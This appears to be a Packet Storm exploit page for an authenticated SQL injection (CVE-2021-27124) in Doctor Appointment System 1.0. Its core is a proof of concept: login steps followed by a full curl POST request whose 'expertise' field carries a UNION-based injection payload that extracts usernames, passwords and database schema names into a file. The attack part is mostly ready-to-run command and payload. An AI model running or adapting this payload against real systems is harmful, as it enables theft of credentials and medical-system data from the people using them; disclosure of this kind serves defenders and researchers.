Register | Login

packet storm
what you don't know can hurt you

Search …

| Home | Files | News | About | Contact |&[SERVICES_TAB] | Add New |

Doctor Appointment System 1.0 SQL Injection

Authored by Nakul Ratti, Soham Bakore

Posted Feb 9, 2021

Doctor Appointment System version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2021-27124
SHA-256 | 2be466f5c972b7bc52fba325e294081ccedb219ec55bfbddd18133121c49d6e3 **Download | Favorite | View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Doctor Appointment System 1.0 - Authenticated SQL Injection
# Date: 2021-02-09
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0


Vulnerable File:
----------------
http://host/patient/search_result.php

Vulnerable Issue:
-----------------
Expertise parameter has no input validation

POC:
----
1] Login as a normal patient user
2] Insert cookie after successful login in the below command:
curl -i -s -o tmp -k -X $'POST' \
    -H $'Host: 192.168.1.12' -H $'Content-Type:
application/x-www-form-urlencoded' -H $'Content-Length: 288' -H
$'Connection: close' -H $'Cookie: PHPSESSID=b85jccq5ns65d75g69j2uj37hf' -H
$'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=b85jccq5ns65d75g69j2uj37hf' \
    --data-binary
$'expertise=Bone\'+union+select+concat(\'Username-\',username),2,3,(select+(%40a)+from+(select(%40a%3a%3d0x00),
(select+(%40a)+from+(information_schema.schemata)where+(%40a)in+
(%40a%3a%3dconcat(%40a,schema_name,\'<br>\'))))a),concat(\'Password\',\'-
\',password),6,7,8,9,10,11,12+from+users%23&submit='
\
    $'http://host/patient/search_result.php'
3] Check the tmp file for sensitive information from the database.
------------------
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Author	Files
Red Hat	157 files
Ubuntu	76 files
LiquidWorm	23 files
Debian	21 files
nu11secur1ty	11 files
malvuln	11 files
Gentoo	9 files
Google Security Research	8 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed